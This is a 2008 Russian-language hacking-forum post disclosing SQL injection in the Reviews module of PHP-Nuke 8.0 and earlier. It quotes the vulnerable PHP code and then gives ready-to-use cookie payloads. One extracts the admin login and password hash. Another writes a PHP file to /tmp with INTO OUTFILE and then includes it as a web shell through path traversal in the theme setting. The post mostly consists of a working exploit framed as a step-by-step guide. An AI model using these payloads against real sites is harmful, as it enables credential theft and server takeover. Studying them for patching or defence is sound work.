ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

SQL-Injection PHP-Nuke <= 8.0
  #30  
Старый 04.12.2008, 23:22
Аватар для l-l00K
l-l00K
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме:
13395217

Репутация: 2097
По умолчанию SQL-Injection PHP-Nuke <= 8.0

SQL-Injection In PHP-Nuke <= 8.0(Module Reviews)

/modules/Reviews/index.php
Фрагмент уязвимого кода:
PHP код:
$uname filter($cookie[1], "nohtml");
    
$id intval($id);
    
$score intval($score);
    if (
is_user($user)) {
        
$krow $db->sql_fetchrow($db->sql_query("SELECT karma FROM ".$user_prefix."_users WHERE username='$uname'"));
        if (
$krow['karma'] == 2) {
            
$db->sql_query("insert into ".$prefix."_reviews_comments_moderated values (NULL, '$id', '$uname', now(), '$comments', '$score')");
            include(
"header.php");
            
title(""._MODERATEDTITLE."");
            
OpenTable();
            echo 
"<center>"._COMMENTMODERATED."";
            echo 
"<br><br><a href=\"modules.php?name=$module_name&rop=showcontent&id=$id\">"._MODERATEDTITLE."</a>";
            
CloseTable();
            include(
"footer.php");
            die();
        } elseif (
$krow['karma'] == 3) {
            
Header("Location: modules.php?name=$module_name&rop=showcontent&id=$id");
            die();
        }
    }
    
$db->sql_query("insert into ".$prefix."_reviews_comments values (NULL, '$id', '$uname', now(), '$comments', '$score')"); 
Тут присутствуют сразу 2 sql-inj, в select и в insert запросах, после раскадировки кук, происходит слэширование данных, но в данном фрагменте кода данные из $cookie[1] попадают в ф-цию filter
PHP код:
function filter($what$strip=""$save=""$type="") {
    if (
$strip == "nohtml") {
        
$what check_html($what$strip);
//        $what = htmlentities(trim($what), ENT_QUOTES);
        // If the variable $what doesn't comes from a preview screen should be converted
        
if ($type != "preview" AND $save != 1) {
            
$what html_entity_decode($whatENT_QUOTES);
        }
    }
    if (
$save == 1) {
        
$what check_words($what);
        
$what check_html($what$strip);
        if (!
get_magic_quotes_gpc()) {
        
$what addslashes($what);
}
    } else {
        
$what stripslashes(FixQuotes($what,$strip));
        
$what check_words($what);
        
$what check_html($what$strip);
    }
    return(
$what);

а оттуда в ф-цию check_html
PHP код:
function check_html ($str$strip="") {
    
/* The core of this code has been lifted from phpslash */
    /* which is licenced under the GPL. */
    
include("config.php");
    if (
$strip == "nohtml")
    
$AllowableHTML=array('');
    
$str stripslashes($str);
    
$str eregi_replace("<[[:space:]]*([^>]*)[[:space:]]*>",'<\\1>'$str);
    
// Delete all spaces from html tags .
    
$str eregi_replace("<a[^>]*href[[:space:]]*=[[:space:]]*\"?[[:space:]]*([^\" >]*)[[:space:]]*\"?[^>]*>",'<a href="\\1">'$str);
    
// Delete all attribs from Anchor, except an href, double quoted.
    
$str eregi_replace("<[[:space:]]* img[[:space:]]*([^>]*)[[:space:]]*>"''$str);
    
// Delete all img tags
    
$str eregi_replace("<a[^>]*href[[:space:]]*=[[:space:]]*\"?javascript[[:punct:]]*\"?[^>]*>"''$str);
    
// Delete javascript code from a href tags -- Zhen-Xjell @ http://nukecops.com
    
$tmp "";
    while (
ereg("<(/?[[:alpha:]]*)[[:space:]]*([^>]*)>",$str,$reg)) {
        
$i strpos($str,$reg[0]);
        
$l strlen($reg[0]);
        if (
$reg[1][0] == "/"$tag strtolower(substr($reg[1],1));
        else 
$tag strtolower($reg[1]);
        if (
$a $AllowableHTML[$tag])
        if (
$reg[1][0] == "/"$tag "</$tag>";
        elseif ((
$a == 1) || ($reg[2] == "")) $tag "<$tag>";
        else {
            
# Place here the double quote fix function.
            
$attrb_list=delQuotes($reg[2]);
            
// A VER
            //$attrb_list = ereg_replace("&","&amp;",$attrb_list);
            
$tag "<$tag$attrb_list ">";
        } 
# Attribs in tag allowed
        
else $tag "";
        
$tmp .= substr($str,0,$i) . $tag;
        
$str substr($str,$i+$l);
    }
    
$str $tmp $str;
    return 
$str;
    exit;
    
/* Squash PHP tags unconditionally */
    
$str ereg_replace("<\?","",$str);
    return 
$str;

где экранирующие бэкслэши успешно удаляются, поэтому становится возможным внедрить наш sql код, через скулю в select данные вывести не получится, поэтому юзаем скулю в insert
Идем в
/modules.php?name=Reviews&rop=showcontent&id=1
выбираем любую рецензию, жмем "Поместить комментарий"
в куки кидаем
Код:
base64_encode(yourid:yournick',1,(select concat(aid,0x3a,pwd) from nuke_authors),3)/*:yourhash:10:thread:1:0:0:0:RusNuke2003:4096)
Жмем submit, в результате мы получим login:hash админа

Зато через скулю в select при file_priv можно залить шелл, кидаем в куки:
Код:
base64_encode(yourid:yournick' union select 0x3c3f20706870696e666f28293b203f3e into outfile '/tmp/theme.php'/*:yourhash:10:thread:1:0:0:0:RusNuke2003:4096)
Тут путь можно не раскрывать, лить в tmp, а затем просто проинклудить залитый шелл через templetes, для этого идем в /modules.php?name=Your_Account&op=chgtheme
правим сурс, там где написано имя темы, в моем случае value=RusNuke2003 пишем:
Код:
<option value="/../../../../../../../tmp/" >RusNuke2003
сохраняем, получаем шелл
__________________
Не занимаюсь коммерцией в любых ее проявлениях.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
BookS: PHP, PERL, MySQL, JavaScript, HTML, ajax, Веб Дизайн M1nK0 PHP, PERL, MySQL, JavaScript 10 27.06.2009 21:35
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ